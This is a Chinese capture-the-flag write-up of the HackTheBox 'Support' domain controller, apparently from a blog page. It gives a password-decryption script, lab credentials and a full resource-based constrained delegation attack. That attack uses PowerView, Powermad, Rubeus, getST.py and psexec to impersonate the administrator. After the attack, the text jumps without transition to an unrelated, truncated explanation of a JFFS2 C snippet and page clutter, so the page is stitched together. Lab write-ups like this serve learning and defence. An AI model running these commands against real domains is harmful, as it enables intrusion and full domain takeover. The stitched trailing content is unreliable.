HackTheBox | Support

本文描述了一次针对域控服务器的安全分析过程,包括nmap扫描、smb服务发现、解密密码、ldapsearch查询、evil-winrm登录、利用bloodhound收集信息以及RBCD(基于资源的约束委派)权限提权的步骤。通过创建和配置机器账户,最终实现了权限升级。

nmap扫描,目标主机明显为域控,主机名为DC,域名为support.htb

image-20230310091146712

访问smb服务,看到一些路径

image-20230310135112883

访问support-tools

image-20230310135143149

下载UserInfo.exe.zip并解压,看到一些exe和dll文件,还有一个config文件

image-20230310135700311

image-20230310135726539

使用IDA打开UserInfo.exe,看到存在getPassword函数,其中有个UserInfo.Services.Protected::enc_passwordUserInfo.Services.Protected::key

image-20230310142932501

检查enc_password的交叉引用

image-20230310143141713

image-20230310143156561

得到加密后的密码,变量名为a0nv32ptwgyjzg9,值为0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E。另外看到一个armando,可能是用户名。以及LDAP://support.htb

image-20230310143326560

大概看了一下对应函数的代码逻辑,应该是使用Bytes类型的armando对ASCII码类型的字符串进行了加密

image-20230310151214316

image-20230310153858678

借助GPT分析代码,大概就是使用key中的字符对字符串进行异或加密,中间增加了对0XDF的异或

将局部变量1、2、0依次压入堆栈
将堆栈上的第二个元素(局部变量0)作为数组,将第一个元素(局部变量2)作为索引,取出数组中的元素并压入堆栈
将UserInfo.Services.Protected类的静态字段key(一个字节数组)压入堆栈
将局部变量2压入堆栈
将UserInfo.Services.Protected类的静态字段key(一个字节数组)压入堆栈
取出数组的长度并转换为int32类型,压入堆栈
计算堆栈上的两个元素(局部变量2和key数组的长度)的余数,并压入堆栈
将堆栈上的第二个元素(key数组)作为数组,将第一个元素(余数)作为索引,取出数组中的元素并压入堆栈
计算堆栈上的两个元素(数组中的两个字节)的异或,并压入堆栈
将常数0xDF压入堆栈
计算堆栈上的两个元素(异或结果和常数0xDF)的异或,并转换为uint8类型,压入堆栈
将堆栈上的第三个元素(局部变量0)作为数组,将第二个元素(局部变量2)作为索引,将第一个元素(uint8值)存储到数组中对应位置
将局部变量2压入堆栈
将常数1压入堆栈
计算堆栈上的两个元素(局部变量2和常数1)相加,并存储到局部变量2

解密得到初始字符串nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

import base64

c = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
k = b"armando"

result = ""
for i in range(len(c)):
    result += chr(c[i] ^ k[i%len(k)] ^ 223)

print(result)

从代码中看到对应的用户应该是support\ldap

image-20230310160202214

使用ldapsearch进行查询

ldapsearch -x -H ldap://10.10.11.174 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb'

在结果中发现疑似support用户的密码Ironside47pleasure40Watchful

image-20230310161637197

使用evil-winrm登录,拿到用户flag

image-20230310161752567

使用bloodhound信息收集,看到support用户具备Shared Support Account组的权限,查看帮助信息,看到利用基于资源的约束委派攻击进行提权

image-20230310165326814 image-20230310170525878

RBCD的利用条件有2个,首先是具备修改主机msDS-AllowedToActOnBehalfOfOtherIdentity的权限,其次是拥有一个机器账户的权限。在本次实验环境中,Shared Support Account 组具备对域主机DC的generic all的权限,而用户support隶属于该组,所以可以修改主机权限;而一个域用户最多可以创建10个机器账户,所以可以手动创建机器账户。

使用工具PowerView.ps1:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

检查与用户创建机器用户的数量,符合默认10个

Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' | select ms-ds-machineaccountquota

image-20230310185052163

检查主机的msDS-AllowedToActOnBehalfOfOtherIdentity权限,可以看到值为空

Get-DomainComputer DC | select name,msds-allowedtoactonbehalfofotheridentity | fl

image-20230310185127636

使用工具Powermad.ps1:https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1

创建机器账户

New-MachineAccount -MachineAccount FAKE -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)

image-20230310185445943

检查创建的机器账户

Get-ADComputer -identity FAKE

image-20230310185525514

使用Powerview中的功能为机器账户设置约束委派的权限,目的是设置DC主机msds-allowedtoactonbehalfofotheridentity的值

Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE$

检查是否设置成功

Get-DomainComputer DC | select msds-allowedtoactonbehalfofotheridentity

image-20230310191551828

获取创建的机器账户的HASH

./Rubeus.exe hash /password:Password123 /user:FAKE$ /domain:support.htb

image-20230310192302393

创建票据

python3 getST.py -dc-ip 10.10.11.174 support/fake\$:Password123 -spn cifs/dc.support.htb -impersonate administrator

image-20230310192836929

利用票据连接主机

export KRB5CCNAME=administrator.ccache; python3 psexec.py dc.support.htb -target-ip 10.10.11.174 -k -no-pass

image-20230310192823028

你提供的代码片段: ```c if (mi.jffs2fsOffset == 0 || SUPPORT_SPMINIOS) { gUseJffs2 = 0; } ``` 这段逻辑用于控制是否启用 JFFS2 文件系统支持。我们来逐项分析其含义和作用。 --- ## 🧠 逐项解析 ### ✅ 变量说明 | 变量 | 含义 | |------|------| | `mi.jffs2fsOffset` | JFFS2 文件系统在固件中的偏移地址 | | `SUPPORT_SPMINIOS` | 编译开关,表示是否支持 SPMINIOS(某种特定平台或功能) | | `gUseJffs2` | 全局变量,用于指示是否使用 JFFS2 文件系统 | --- ## 📌 逻辑分析 ```c if (mi.jffs2fsOffset == 0 || SUPPORT_SPMINIOS) { gUseJffs2 = 0; } ``` ### ✅ 条件说明 该判断表示: > 如果满足以下任意一个条件,则 **禁用 JFFS2 文件系统**(设置 `gUseJffs2 = 0`): 1. **`mi.jffs2fsOffset == 0`** → JFFS2 文件系统偏移为 0,表示没有分配空间或未启用该分区。 2. **`SUPPORT_SPMINIOS == 1`(定义了该宏)** → 当前平台或功能不支持 JFFS2,或使用其他文件系统(如 SPMINIOS 使用的文件系统)。 --- ## 🧱 使用场景 ### ✅ 场景 1:JFFS2 分区未启用 ```c mi.jffs2fsOffset = 0; ``` → 表示打包配置中没有为 JFFS2 分配空间,因此无需启用。 ### ✅ 场景 2:平台不支持 JFFS2(如 SPMINIOS) ```c #define SUPPORT_SPMINIOS 1 ``` → 表示当前平台使用 SPMINIOS 系统,可能使用其他文件系统(如 ROMFS、SquashFS 等),所以禁用 JFFS2。 --- ## 📋 示例流程 ```bash # 打包时未指定 JFFS2 文件 ./packer -b bootloader.bin -k kernel.bin -r rootfs.cramfs ``` - 工具内部没有为 `mi.jffs2fsOffset` 赋值 → 默认为 0 - 所以进入 `if` 条件 → `gUseJffs2 = 0` --- ## ✅ 小结 | 条件 | 是否启用 JFFS2 | |------|----------------| | `mi.jffs2fsOffset == 0` | ❌ 不启用 | | `SUPPORT_SPMINIOS == 1` | ❌ 不启用 | | 其他情况 | ✅ 启用 | --- ##
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值